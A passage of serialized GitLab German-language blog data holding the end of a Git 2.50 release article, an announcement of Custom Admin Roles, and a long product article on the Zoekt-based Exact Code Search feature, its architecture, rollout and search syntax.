verfügbar)](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/).\n\nDen ursprünglichen englischsprachigen Mailinglisten-Thread findest du\n\n[hier](https://lore.kernel.org/git/20250401-488-generating-bundles-with-many-references-has-non-linear-performance-v1-0-6d23b2d96557@gmail.com/).\n\n\n*Dieses Projekt wurde von [Karthik Nayak](https://gitlab.com/knayakgl) geleitet.*\n\n\n## Bessere Auflösung von URI-Bundles\n\n\nDurch den [Bundle-URI (in englischer Sprache verfügbar)](https://git-scm.com/docs/bundle-uri)-Mechanismus in Git können den Clients\n\nOrte zum Abrufen von Bundles zur Verfügung gestellt werden, um\n\nKlone und Abrufe zu beschleunigen. Wenn ein Client ein Bundle herunterlädt, werden Referenzen\n\nunter `refs/heads/*` zusammen mit\n\nden zugehörigen Objekten aus dem Bundle in das Repository kopiert. Ein Bundle kann zusätzliche Referenzen\n\naußerhalb von `refs/heads/*` enthalten, wie z. B. `refs/tags/*`, die einfach ignoriert werden, wenn\n\ndie Bundle-URI beim Klonen verwendet wird.\n\n\nIn Git 2.50 wird diese Einschränkung aufgehoben und alle Referenzen, die mit\n\n`refs/*` übereinstimmen und im heruntergeladenen Bundle enthalten sind, werden kopiert.\n\n[Scott Chacon](https://github.com/schacon), der diese Funktionalität beigesteuert hat,\n\ndemonstriert den Unterschied beim Klonen von\n\n[gitlab-org/gitlab-foss](https://gitlab.com/gitlab-org/gitlab-foss):\n\n\n```shell\n\n$ git-v2.49 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49\n\nCloning into 'gl2.49'...\n\nremote: Enumerating objects: 1092703, done.\n\nremote: Counting objects: 100% (973405/973405), done.\n\nremote: Compressing objects: 100% (385827/385827), done.\n\nremote: Total 959773 (delta 710976), reused 766809 (delta 554276), pack-reused 0 (from 0)\n\nReceiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.\n\nResolving deltas: 100% (710976/710976), completed with 9081 local objects.\n\nChecking objects: 100% (4194304/4194304), done.\n\nChecking connectivity: 959668, done.\n\nUpdating files: 100% (59972/59972), done.\n\n\n$ git-v2.50 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50\n\nCloning into 'gl-2.50'...\n\nremote: Enumerating objects: 65538, done.\n\nremote: Counting objects: 100% (56054/56054), done.\n\nremote: Compressing objects: 100% (28950/28950), done.\n\nremote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0 (from 0)\n\nReceiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.\n\nResolving deltas: 100% (27401/27401), completed with 8564 local objects.\n\nUpdating files: 100% (59972/59972), done.\n\n```\n\n\nWenn wir diese Ergebnisse vergleichen, sehen wir, dass Git 2.50 43 887 Objekte\n\n(40,42 MiB) abruft, nachdem das Bundle extrahiert wurde, während Git 2.49\n\ninsgesamt 959 773 Objekte (366,94 MiB) abruft. Git 2.50 ruft etwa 95 % weniger\n\nObjekte und 90 % weniger Daten ab, was vorteilhaft sowohl für den Client als auch für den Server ist. Der\n\nServer muss viel weniger Daten für den Client verarbeiten und der Client muss weniger Daten\n\nherunterladen und extrahieren. In dem von Scott angegebenen Beispiel führte dies zu einer\n\nBeschleunigung um 25 %.\n\n\nWeitere Informationen findest du im entsprechenden englischsprachigen\n\n[Mailinglisten-Thread](https://lore.kernel.org/git/pull.1897.git.git.1740489585344.gitgitgadget@gmail.com/).\n\n\n*TDiese Patch-Serie wurde von [Scott Chacon](https://github.com/schacon) beigesteuert.*\n\n\n## Weiterlesen\n\n\nIn diesem Artikel werden nur einige der Beiträge von GitLab und\n\nder größeren Git-Community für diese neueste Veröffentlichung vorgestellt. Mehr darüber erfährst du in\n\nder [offiziellen Veröffentlichungsankündigung](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/) des Git-Projekts. Sieh dir auch\n\nunsere [letzten Blogbeiträge zu Git-Releases (in englischer Sprache verfügbar)](https://about.gitlab.com/blog/tags/git/)\n\nan, um weitere wichtige Beiträge von GitLab-Teammitgliedern zu entdecken.\n","2025-06-16",[984,897,269],{"featured":91,"template":800,"slug":1091},"what-s-new-in-git-2-50-0",{"category":90,"slug":764,"posts":1093},[1094,1105,1117],{"content":1095,"config":1103},{"heroImage":1096,"body":1097,"authors":1098,"updatedDate":863,"date":1099,"title":1100,"tags":1101,"description":1102,"category":764},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1756122536/akivvcnafog9c4dhhzkp.png","GitLab führt granulare Berechtigungen für den Admin-Bereich in GitLab Self-Managed und GitLab Dedicated Instanzen ein. Diese Custom Admin Roles ermöglichen es Organisationen, das [Principle of Least Privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/) für ihre Instanzen umzusetzen und gleichzeitig die operative Effizienz zu erhalten. Ähnlich wie Custom Roles für Gruppen und Projekte bieten Custom Admin Roles detaillierte Berechtigungen zur Kontrolle des Zugriffs auf den Admin-Bereich.\n\nDiese granularen Admin-Berechtigungen ermöglichen es Organisationen, zweckgebundene administrative Rollen zu erstellen, anstatt Benutzern vollständigen Administratorzugang zu gewähren. Mögliche Anwendungsfälle umfassen:\n\n- **Platform Team:** Zugriff auf Runner-Management, Instanz-Monitoring und Performance-Metriken\n- **Support Team:** Zugriff auf User-Management und Troubleshooting-Workflows\n- **Leadership Team:** Zugriff auf Dashboards, Nutzungsstatistiken und Lizenzierung\n\n![Custom Admin Role](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756121189/xnnoyowwutlbxu9unho5.png)\n\n## Funktionen\n- **Granulare Berechtigungen:** Custom Permissions ermöglichen es, eine Rolle zu erstellen, die den spezifischen Anforderungen entspricht.\n- **Management auf Instanzebene:** Custom Admin Roles werden zentral erstellt und verwaltet.\n- **LDAP-Integration:** Unterstützung für die Zuweisung großer Benutzergruppen zu Rollen über Directory-Server.\n- **Audit-Integration:** Funktioniert mit dem bestehenden [Admin-Modus](https://docs.gitlab.com/administration/settings/sign_in_restrictions/#admin-mode) und Audit-Events.\n\n![Custom Admin Role](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756121190/wedoc6gi4upivvjezyeu.png)\n\n## Mission: Die Sicherheit der Software-Supply-Chain verbessern\nDiese Funktion stellt einen wichtigen Schritt in GitLabs übergeordneter Mission dar, die Sicherheit der Software-Supply-Chain zu verbessern. Als Teil dieser Mission hat GitLab auch Custom Roles für Projekte und Gruppen sowie [granulare Berechtigungen für CI/CD Job Tokens](https://docs.gitlab.com/ci/jobs/fine_grained_permissions/) hinzugefügt.\n\nWeitere Informationen zu Custom Admin Roles finden sich unter [Custom Roles](https://docs.gitlab.com/user/custom_roles/). Zusätzliche Berechtigungen sind für zukünftige Releases geplant. Um Feedback zu teilen, siehe das [Custom Roles Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/509376).\n",[994],"2025-08-25","Custom Admin Roles sind jetzt allgemein verfügbar",[764,824],"GitLab unterstützt ab sofort granulare Berechtigungen im Admin-Bereich und reduziert damit den Bedarf an vollprivilegierten Administratoren.",{"featured":6,"slug":1104,"template":800},"custom-admin-roles-now-ga",{"content":1106,"config":1115},{"title":1107,"description":1108,"authors":1109,"heroImage":1111,"date":1112,"body":1113,"category":764,"tags":1114},"Exact Code Search: So findet man Code blitzschnell über mehrere Repositories hinweg","So findet diese neue GitLab-Funktion exakte Treffer, nutzt Regex-Muster und zeigt kontextbezogene Ergebnisse in Terabyte-großen Codebasen an.",[1110],"Dmitry Gruzd","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675154/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","2025-06-25","**Kurz gesagt:** Was wäre, wenn du jede Codezeile in 48 TB an Repositories\nin Millisekunden finden könntest? GitLabs neue [Exact Code\nSearch](https://docs.gitlab.com/ee/user/search/exact_code_search.html) macht\ngenau das möglich – mit präzisen Treffern, leistungsstarker\nRegex-Unterstützung und kontextbezogenen mehrzeiligen Ergebnissen, die die\nArbeit mit großen Codebasen revolutionieren.\n\n\n## Warum traditionelle Code-Suche herausfordernd ist\n\n\nJeder, der mit Code arbeitet, kennt die Frustration bei der Suche über Repositories hinweg. Egal ob du als Entwickler(in) einen Fehler debuggst, als DevOps-Ingenieur(in) Konfigurationen untersuchst, als Sicherheitsanalyst(in) nach Schwachstellen suchst, als technische(r) Redakteur(in) Dokumentationen aktualisierst oder als Manager(in) Implementierungen überprüfst – du weißt genau, was du brauchst, aber herkömmliche Suchwerkzeuge lassen dich oft im Stich.\n\n\nDiese konventionellen Tools liefern Dutzende von False Positives, bieten nicht den nötigen Kontext zum Verständnis der Ergebnisse und werden mit wachsenden Codebasen immer langsamer. Das Ergebnis? Wertvolle Zeit wird mit der Suche nach der Nadel im Heuhaufen verschwendet, anstatt Software zu entwickeln, zu sichern oder zu verbessern.\n\n\nGitLabs Code-Suchfunktion basierte bisher auf Elasticsearch oder OpenSearch. Diese eignen sich zwar hervorragend für die Suche in Issues, Merge Requests, Kommentaren und anderen Daten mit natürlicher Sprache, wurden aber nicht speziell für Code entwickelt. Nach der [Evaluierung zahlreicher Optionen](https://gitlab.com/groups/gitlab-org/-/epics/7404) haben wir eine bessere Lösung entwickelt.\n\n\n## Wir stellen vor: Exact Code Search – drei bahnbrechende Funktionen\n\n\nMit GitLabs **[Exact Code Search](https://docs.gitlab.com/ee/user/search/exact_code_search.html)**, derzeit in der Beta-Phase und angetrieben von [Zoekt](https://github.com/sourcegraph/zoekt) (ausgesprochen \"sukt\", niederländisch für \"sucht\"). Zoekt ist eine Open-Source-Code-Suchmaschine, die ursprünglich von Google entwickelt und jetzt von Sourcegraph gepflegt wird – speziell konzipiert für schnelle, präzise Code-Suche im großen Maßstab. Wir haben sie mit GitLab-spezifischen Integrationen, Verbesserungen für Unternehmensmaßstäbe und nahtloser Integration des Berechtigungssystems erweitert.\n\n\nDiese Funktion revolutioniert, wie du Code findest und verstehst, mit drei Hauptfunktionen:\n\n\n**1. Exact Match-Modus: Null False Positives**\n\n\nIm **Exact Match-Modus** liefert die Suchmaschine nur Ergebnisse, die exakt deiner Suchanfrage entsprechen, und eliminiert False Positives. Diese Präzision ist unbezahlbar beim:\n\n\n* Suchen nach spezifischen Fehlermeldungen\n\n* Finden bestimmter Funktionssignaturen\n\n* Aufspüren von Instanzen spezifischer Variablennamen\n\n\n**2. Regular Expression-Modus: Leistungsstarkes Pattern Matching**\n\n\nFür komplexe Suchanforderungen ermöglicht der Regular Expression-Modus die Erstellung ausgefeilter Suchmuster:\n\n\n* Finde Funktionen, die bestimmten Namensmustern folgen\n\n* Lokalisiere Variablen mit bestimmten Einschränkungen\n\n* Identifiziere potenzielle Sicherheitslücken mittels Pattern Matching\n\n\n**3. Mehrzeilige Treffer: Code im Kontext sehen**\n\n\n![Exact Code Search](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750704179/ttjuilkt3v7gtyywnchx.png)\n\n\nStatt nur eine einzelne Zeile mit deinem Suchbegriff zu sehen, erhältst du den umgebenden Kontext, der für das Verständnis des Codes entscheidend ist. Das eliminiert die Notwendigkeit, für grundlegendes Verständnis in Dateien zu klicken, und beschleunigt deinen Workflow erheblich.\n\n\n## Von Funktionen zu Workflows: Anwendungsfälle und Auswirkungen aus der Praxis\n\n\nSchauen wir uns an, wie diese Funktionen zu echten Produktivitätssteigerungen in alltäglichen Entwicklungsszenarien führen:\n\n\n### Debugging: Von der Fehlermeldung zur Ursache in Sekunden\n\n\nVor Exact Code Search:\n\nEine Fehlermeldung kopieren, suchen, durch Dutzende von Teiltreffern in Kommentaren und Dokumentation waten, durch mehrere Dateien klicken und schließlich den tatsächlichen Code finden.\n\n\nMit Exact Code Search:\n\n\n1. Die exakte Fehlermeldung kopieren\n\n2. Sie in Exact Code Search im Exact Match-Modus einfügen\n\n3. Sofort die präzise Stelle finden, wo der Fehler ausgelöst wird, mit umgebendem Kontext\n\n\n**Auswirkung:** Reduziere die Debugging-Zeit von Minuten auf Sekunden und eliminiere die Frustration durch False Positives.\n\n\n### Code-Exploration: Unbekannte Codebasen schnell meistern\n\n\nVor Exact Code Search:\n\nDurch Verzeichnisse browsen, fundierte Vermutungen über Dateispeicherorte anstellen, Dutzende von Dateien öffnen und langsam eine mentale Karte der Codebasis aufbauen.\n\n\nMit Exact Code Search:\n\n\n* Nach Schlüsselmethoden oder -klassen im Exact Match-Modus suchen\n\n* Mehrzeilige Treffer überprüfen, um Implementierungsdetails zu verstehen\n\n* Den Regular Expression-Modus nutzen, um ähnliche Muster in der Codebasis zu finden\n\n\n**Auswirkung:** Baue eine mentale Karte der Code-Struktur in Minuten statt Stunden auf und beschleunige Onboarding und teamübergreifende Zusammenarbeit dramatisch.\n\n\n### Refactoring mit Zuversicht\n\n\nVor Exact Code Search:\n\nVersuchen, alle Instanzen einer Methode zu finden, einige Vorkommen übersehen und durch unvollständiges Refactoring Fehler einführen.\n\n\nMit Exact Code Search:\n\n\n* Den Exact Match-Modus nutzen, um alle Vorkommen von Methoden oder Variablen zu finden\n\n* Kontext überprüfen, um Verwendungsmuster zu verstehen\n\n* Dein Refactoring mit vollständigen Informationen über die Auswirkungen planen\n\n\n**Auswirkung:** Eliminiere die \"übersehene Instanz\"-Fehler, die Refactoring-Bemühungen oft plagen, verbessere die Code-Qualität und reduziere Nacharbeit.\n\n\n### Sicherheitsaudits: Verwundbare Muster finden\n\n\nSicherheitsteams können:\n\n\n* Regex-Muster erstellen, die bekanntem verwundbarem Code entsprechen\n\n* Über alle Repositories in einem Namespace suchen\n\n* Schnell potenzielle Sicherheitsprobleme mit Kontext identifizieren, der bei der Risikobewertung hilft\n\n\n**Auswirkung:** Verwandle Sicherheitsaudits von manuellen, fehleranfälligen Prozessen in systematische, umfassende Überprüfungen.\n\n\n### Repository-übergreifende Einblicke\n\n\nSuche über deinen gesamten Namespace oder deine Instanz, um:\n\n\n* Ähnliche Implementierungen in verschiedenen Projekten zu identifizieren\n\n* Möglichkeiten für gemeinsame Bibliotheken oder Standardisierung zu entdecken\n\n\n**Auswirkung:** Baue Silos zwischen Projekten ab und identifiziere Möglichkeiten für Code-Wiederverwendung und Standardisierung.\n\n\n## Die technische Grundlage: Wie Zoekt Geschwindigkeit und Präzision liefert\n\n\nBevor wir in unsere Skalierungserfolge eintauchen, lass uns erkunden, was Zoekt grundlegend von traditionellen Suchmaschinen unterscheidet – und warum es exakte Treffer so unglaublich schnell finden kann.\n\n\n### Positionale Trigramme: Das Geheimnis blitzschneller exakter Treffer\n\n\nZoekts Geschwindigkeit kommt von der Verwendung **positionaler Trigramme** – einer Technik, die jede Sequenz von drei Zeichen zusammen mit ihren exakten Positionen in Dateien indexiert. Dieser Ansatz löst einen der größten Schmerzpunkte, die Entwickler(innen) mit Elasticsearch-basierter Code-Suche hatten: False Positives.\n\n\nSo funktioniert es:\n\n\n**Traditionelle Volltextsuchmaschinen** wie Elasticsearch tokenisieren Code in Wörter und verlieren Positionsinformationen. Wenn du nach `getUserId()` suchst, könnten sie Ergebnisse liefern, die **user**, **get** und **Id** über eine Datei verteilt enthalten – was zu diesen frustrierenden False Positives für GitLab-Nutzer(innen) führt.\n\n\n**Zoekts positionale Trigramme** behalten exakte Zeichensequenzen und ihre Positionen bei. Wenn du nach `getUserId()` suchst, sucht Zoekt nach den exakten Trigrammen wie **get**, **etU**, **tUs**, **Use**, **ser**, **erI**, **rId**, **Id(**, **d()**, alle in der korrekten Reihenfolge und Position. Das stellt sicher, dass nur exakte Treffer zurückgegeben werden.\n\n\nDas Ergebnis? Suchanfragen, die zuvor Hunderte irrelevanter Ergebnisse lieferten, liefern jetzt nur noch die präzisen Treffer, nach denen du suchst. Das war [eine unserer meistgewünschten Funktionen](https://gitlab.com/gitlab-org/gitlab/-/issues/325234) aus gutem Grund – Entwickler(innen) verloren erhebliche Zeit beim Durchsuchen von False Positives.\n\n\n### Regular Expression-Performance im großen Maßstab\n\n\nZoekt glänzt bei exakten Treffern und ist für Regular Expression-Suchen optimiert. Die Engine nutzt ausgefeilte Algorithmen, um Regex-Muster wenn möglich in effiziente Trigramm-Abfragen umzuwandeln und behält die Geschwindigkeit selbst bei komplexen Mustern über Terabytes von Code bei.\n\n\n## Entwickelt für Unternehmensmaßstäbe\n\n\nExact Code Search ist leistungsstark und für massive Skalierung mit beeindruckender Performance gebaut. Das ist nicht nur eine neue UI-Funktion – sie wird von einer komplett neu konzipierten Backend-Architektur angetrieben.\n\n\n### Terabytes von Code mit Leichtigkeit bewältigen\n\n\nAllein auf GitLab.com indexiert und durchsucht unsere Exact Code Search-Infrastruktur über **48 TB** an Code-Daten bei gleichzeitig blitzschnellen Antwortzeiten. Diese Größenordnung repräsentiert Millionen von Repositories über Tausende von Namespaces, alle innerhalb von Millisekunden durchsuchbar. Um das in Perspektive zu setzen: Diese Größenordnung repräsentiert mehr Code als die gesamten Linux-Kernel-, Android- und Chromium-Projekte zusammen. Dennoch kann Exact Code Search eine spezifische Zeile in dieser massiven Codebasis in Millisekunden finden.\n\n\n### Selbstregistrierende Node-Architektur\n\n\nUnsere innovative Implementierung bietet:\n\n\n* **Automatische Node-Registrierung:** Zoekt-Nodes registrieren sich selbst bei GitLab\n\n* **Dynamische Shard-Zuweisung:** Das System weist Namespaces automatisch Nodes zu\n\n* **Gesundheitsüberwachung:** Nodes, die sich nicht melden, werden automatisch als offline markiert\n\n\nDiese selbstkonfigurierende Architektur vereinfacht die Skalierung dramatisch. Wenn mehr Kapazität benötigt wird, können Administratoren einfach weitere Nodes hinzufügen, ohne komplexe Neukonfiguration.\n\n\n### Verteiltes System mit intelligentem Load Balancing\n\n\nHinter den Kulissen arbeitet Exact Code Search als verteiltes System mit diesen Schlüsselkomponenten:\n\n\n* **Spezialisierte Such-Nodes:** Zweckgebundene Server, die Indexierung und Suche übernehmen\n\n* **Intelligentes Sharding:** Code wird basierend auf Namespaces über Nodes verteilt\n\n* **Automatisches Load Balancing:** Das System verteilt Arbeit intelligent basierend auf Kapazität\n\n* **Hohe Verfügbarkeit:** Mehrere Replikate gewährleisten kontinuierlichen Betrieb, selbst wenn Nodes ausfallen\n\n\n*Hinweis: Hohe Verfügbarkeit ist in die Architektur integriert, aber noch nicht vollständig aktiviert. Siehe [Issue 514736](https://gitlab.com/gitlab-org/gitlab/-/issues/514736) für Updates.*\n\n\n### Nahtlose Sicherheitsintegration\n\n\nExact Code Search integriert sich automatisch mit GitLabs Berechtigungssystem:\n\n\n* Suchergebnisse werden basierend auf den Zugriffsrechten des Nutzers gefiltert\n\n* Nur Code aus Projekten, auf die der Nutzer Zugriff hat, wird angezeigt\n\n* Sicherheit ist in die Kernarchitektur integriert, nicht nachträglich hinzugefügt\n\n\n### Optimierte Performance\n\n\n* **Effiziente Indexierung:** Große Repositories werden in Dutzenden von Sekunden indexiert\n\n* **Schnelle Query-Ausführung:** Die meisten Suchen liefern Ergebnisse mit Antwortzeiten unter einer Sekunde\n\n* **Streaming-Ergebnisse:** Die neue gRPC-basierte föderierte Suche streamt Ergebnisse, sobald sie gefunden werden\n\n* **Frühzeitiger Abbruch:** Sobald genügend Ergebnisse gesammelt wurden, pausiert das System die Suche\n\n\n## Von der Bibliothek zum verteilten System: Technische Herausforderungen, die wir gelöst haben\n\n\nWährend Zoekt die Kern-Suchtechnologie bereitstellte, war es ursprünglich als minimale Bibliothek zur Verwaltung von `.zoekt`-Indexdateien konzipiert – nicht als verteilte Datenbank oder Unternehmens-Service. Hier sind die wichtigsten technischen Herausforderungen, die wir überwunden haben, um es in GitLabs Maßstab zum Laufen zu bringen:\n\n\n### Herausforderung 1: Aufbau einer Orchestrierungsschicht\n\n\n**Das Problem:** Zoekt war für die Arbeit mit lokalen Indexdateien konzipiert, nicht für die Verteilung über mehrere Nodes, die viele gleichzeitige Nutzer bedienen.\n\n\n**Unsere Lösung:** Wir haben eine umfassende Orchestrierungsschicht aufgebaut, die:\n\n\n* Datenbankmodelle erstellt und verwaltet, um Nodes, Indizes, Repositories und Aufgaben zu verfolgen\n\n* Eine selbstregistrierende Node-Architektur implementiert (inspiriert von GitLab Runner)\n\n* Automatische Shard-Zuweisung und Load Balancing über Nodes hinweg handhabt\n\n* Bidirektionale API-Kommunikation zwischen GitLab Rails und Zoekt-Nodes bereitstellt\n\n\n### Herausforderung 2: Skalierung von Speicher und Indexierung\n\n\n**Das Problem:** Wie verwaltet man effizient Terabytes von Indexdaten über mehrere Nodes bei gleichzeitig schnellen Updates?\n\n\n**Unsere Lösung:** Wir implementierten:\n\n\n* Intelligentes Sharding: Namespaces werden basierend auf Kapazität und Last über Nodes verteilt\n\n* Unabhängige Replikation: Jeder Node indexiert unabhängig von [Gitaly](https://gitlab.com/gitlab-org/gitaly) (unserem Git-Speicherdienst), wodurch komplexe Synchronisation eliminiert wird\n\n* Watermark-Management: Ausgefeilte Speicherzuweisung, die verhindert, dass Nodes der Speicherplatz ausgeht\n\n* Einheitliche Binary-Architektur: Ein einzelnes `gitlab-zoekt`-Binary, das sowohl im Indexer- als auch im Webserver-Modus arbeiten kann\n\n\n### Herausforderung 3: Berechtigungsintegration\n\n\n**Das Problem:** Zoekt hatte kein Konzept von GitLabs komplexem Berechtigungssystem – Nutzer sollten nur Ergebnisse aus Projekten sehen, auf die sie Zugriff haben.\n\n\n**Unsere Lösung:** Wir haben native Berechtigungsfilterung direkt in den Suchablauf integriert:\n\n\n* Suchanfragen enthalten Nutzerberechtigungskontext\n\n* Ergebnisse werden gefiltert, um nur die anzuzeigen, auf die der Nutzer zugreifen kann, falls sich Berechtigungen ändern, bevor die Indexierung abgeschlossen ist\n\n\n### Herausforderung 4: Betriebliche Einfachheit\n\n\n**Das Problem:** Die Verwaltung eines verteilten Suchsystems sollte kein dediziertes Team erfordern.\n\n\n**Unsere Lösung:**\n\n\n* Auto-Scaling: Das Hinzufügen von Kapazität ist so einfach wie das Bereitstellen weiterer Nodes – sie registrieren sich automatisch und beginnen mit der Arbeit\n\n* Selbstheilung: Nodes, die sich nicht melden, werden automatisch als offline markiert und ihre Arbeit wird umverteilt\n\n* Zero-Configuration-Sharding: Das System bestimmt automatisch optimale Shard-Zuweisungen\n\n\n## Schrittweiser Rollout: Risikominimierung im großen Maßstab\n\n\nDer Rollout eines komplett neuen Such-Backends für Millionen von Nutzern erforderte sorgfältige Planung. So haben wir die Auswirkungen auf Kunden minimiert und gleichzeitig Zuverlässigkeit sichergestellt:\n\n\n### Phase 1: Kontrolliertes Testen (gitlab-org-Gruppe)\n\n\nWir begannen damit, Exact Code Search nur für die `gitlab-org`-Gruppe zu aktivieren – unsere eigenen internen Repositories. Das ermöglichte uns:\n\n\n* Das System mit echten Produktions-Workloads zu testen\n\n* Performance-Engpässe zu identifizieren und zu beheben\n\n* Den Bereitstellungsprozess zu optimieren\n\n* Aus den Workflows und dem Feedback echter Nutzer zu lernen\n\n\n### Phase 2: Performance-Validierung und -Optimierung\n\n\nVor der Erweiterung konzentrierten wir uns darauf sicherzustellen, dass das System GitLab.coms Maßstab bewältigen konnte:\n\n\n* Umfassendes Monitoring und Alerting implementiert\n\n* Speicherverwaltung mit echtem Produktionsdatenwachstum validiert\n\n\n### Phase 3: Schrittweise Kundenerweiterung\n\n\nWir erweiterten schrittweise auf Kunden, die daran interessiert waren, Exact Code Search zu testen:\n\n\n* Feedback zu Performance und Benutzererfahrung gesammelt\n\n* Die Such-UI basierend auf echten Nutzer-Workflows verfeinert\n\n* Indexierungs-Performance optimiert (große Repositories wie `gitlab-org/gitlab` indexieren jetzt in ~10 Sekunden)\n\n* Die Architektur basierend auf betrieblichen Erkenntnissen verfeinert\n\n* Indexierungs-Durchsatz massiv erhöht und Zustandsübergangs-Lebenszyklus verbessert\n\n\n### Phase 4: Breiter Rollout\n\n\nHeute haben über 99 % der Premium- und Ultimate-lizenzierten Gruppen auf GitLab.com Zugriff auf Exact Code Search. Nutzer können:\n\n\n* Zwischen Regex- und exaktem Suchmodus umschalten\n\n* Die Vorteile ohne Konfigurationsänderungen erleben\n\n* Bei Bedarf auf die vorherige Suche zurückgreifen (obwohl wenige dies wählen)\n\n\nDer schrittweise Rollout bedeutete, dass Nutzer keine Service-Unterbrechungen, Performance-Verschlechterungen oder Feature-Lücken während des Übergangs erlebten. Wir haben bereits positives Feedback von Nutzern erhalten, die bemerken, dass ihre Ergebnisse relevanter und schneller werden.\n\n\n> **Für technische Details:** Interessiert an der detaillierten Architektur und Implementierung? Schau dir unser umfassendes [Design-Dokument](https://handbook.gitlab.com/handbook/engineering/architecture/design-documents/code_search_with_zoekt/) für ausführliche technische Details an, wie wir dieses verteilte Suchsystem gebaut haben.\n\n\n## Erste Schritte mit Exact Code Search\n\n\nDer Einstieg in Exact Code Search ist einfach, da es bereits standardmäßig für Premium- und Ultimate-Gruppen auf GitLab.com aktiviert ist (über 99 % der berechtigten Gruppen haben derzeit Zugriff).\n\n\n### Schnellstart-Anleitung\n\n\n1. Navigiere zur erweiterten Suche in deinem GitLab-Projekt oder deiner Gruppe\n\n2. Gib deinen Suchbegriff im Code-Tab ein\n\n3. Wechsle zwischen Exact Match- und Regular Expression-Modus\n\n4. Nutze Filter, um deine Suche zu verfeinern\n\n\n### Grundlegende Such-Syntax\n\n\nEgal ob du den Exact Match- oder Regular Expression-Modus verwendest, du kannst deine Suche mit Modifikatoren verfeinern:\n\n\n| Abfrage-Beispiel | Was es bewirkt                                              |\n\n| ---------------- | ----------------------------------------------------------- |\n\n| `file:js`        | Sucht nur in Dateien, die \"js\" im Namen enthalten           |\n\n| `foo -bar`       | Findet \"foo\", schließt aber Ergebnisse mit \"bar\" aus        |\n\n| `lang:ruby`      | Sucht nur in Ruby-Dateien                                   |\n\n| `sym:process`    | Findet \"process\" in Symbolen (Methoden, Klassen, Variablen) |\n\n\n> **Profi-Tipp:** Für die effizientesten Suchen beginne spezifisch und erweitere dann bei Bedarf. Die Verwendung von `file:`- und `lang:`-Filtern erhöht die Relevanz dramatisch.\n\n\n### Erweiterte Suchtechniken\n\n\nStapele mehrere Filter für Präzision:\n\n\n```\n\nis_expected file:rb -file:spec\n\n```\n\n\nDas findet \"is_expected\" in Ruby-Dateien, die nicht \"spec\" im Namen haben.\n\n\nNutze reguläre Ausdrücke für leistungsstarke Muster:\n\n\n```\n\ntoken.*=.*[\\\"']\n\n```\n\n\n[Sieh dir diese Suche im GitLab Zoekt Repository an.](https://gitlab.com/search?search=token.*%3D.*%5B%5C%22'%5D&nav_source=navbar&project_id=46649240&group_id=9970&search_code=true&repository_ref=main&regex=true)\n\n\nDie Suche hilft, hartcodierte Passwörter zu finden, die, wenn nicht gefunden, ein Sicherheitsproblem darstellen können.\n\n\nFür detailliertere Syntax-Informationen, schau in die [Exact Code Search-Dokumentation](https://docs.gitlab.com/user/search/exact_code_search/#syntax).\n\n\n## Verfügbarkeit und Bereitstellung\n\n\n### Aktuelle Verfügbarkeit\n\n\nExact Code Search befindet sich derzeit in der Beta-Phase für GitLab.com-Nutzer mit Premium- und Ultimate-Lizenzen:\n\n\n* Verfügbar für über 99 % der lizenzierten Gruppen\n\n* Die Suche in der UI nutzt automatisch Zoekt, wenn verfügbar, Exact Code Search in der Such-API ist hinter einem Feature-Flag\n\n\n### Bereitstellungsoptionen für Self-Managed\n\n\nFür Self-Managed-Instanzen bieten wir mehrere Bereitstellungsmethoden:\n\n\n* Kubernetes/Helm: Unsere am besten unterstützte Methode, mit unserem [`gitlab-zoekt` Helm Chart](https://gitlab.com/gitlab-org/cloud-native/charts/gitlab-zoekt)\n\n* Andere Bereitstellungsoptionen: Wir arbeiten an der Vereinfachung der Bereitstellung für Omnibus und andere Installationsmethoden\n\n\nDie Systemanforderungen hängen von deiner Codebasis-Größe ab, aber die Architektur ist darauf ausgelegt, horizontal und/oder vertikal zu skalieren, wenn deine Anforderungen wachsen.\n\n\n## Was als Nächstes kommt\n\n\nWährend Exact Code Search bereits leistungsstark ist, verbessern wir sie kontinuierlich:\n\n\n* **Skalierungsoptimierungen** zur Unterstützung von Instanzen mit Hunderttausenden von Repositories\n\n* **Verbesserte Self-Managed-Bereitstellungsoptionen**, einschließlich vereinfachter Omnibus-Unterstützung\n\n* **Vollständige Hochverfügbarkeits-Unterstützung** mit automatischem Failover und Load Balancing\n\n\nBleib dran für Updates, während wir von Beta zu General Availability übergehen.\n\n\n## Transformiere deine Arbeitsweise mit Code\n\n\nGitLabs Exact Code Search repräsentiert ein grundlegendes Umdenken bei der Code-Entdeckung. Durch die Bereitstellung exakter Treffer, leistungsstarker Regex-Unterstützung und kontextbezogener Ergebnisse löst sie die frustrierendsten Aspekte der Code-Suche:\n\n\n* Keine Zeitverschwendung mehr mit irrelevanten Ergebnissen\n\n* Keine wichtigen Treffer mehr verpassen\n\n* Kein Durchklicken von Dateien mehr nur für grundlegendes Verständnis\n\n* Keine Performance-Probleme mehr bei wachsenden Codebasen\n\n\nDie Auswirkungen gehen über die individuelle Produktivität hinaus:\n\n\n* **Teams arbeiten besser zusammen** mit einfacher Code-Referenzierung\n\n* **Wissensaustausch beschleunigt sich**, wenn Muster auffindbar sind\n\n* **Onboarding wird schneller** mit schnellem Codebasis-Verständnis\n\n* **Sicherheit verbessert sich** mit effektivem Muster-Auditing\n\n* **Abbau technischer Schulden** wird machbarer\n\n\nExact Code Search ist nicht nur eine Funktion, es ist eine bessere Art, Code zu verstehen und damit zu arbeiten. Hör auf zu suchen und fang an zu finden.\n\n\n**Wir würden gerne von dir hören!** Teile deine Erfahrungen, Fragen oder Feedback zu Exact Code Search in unserem [Feedback-Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/420920). Dein Input hilft uns, Verbesserungen und neue Funktionen zu 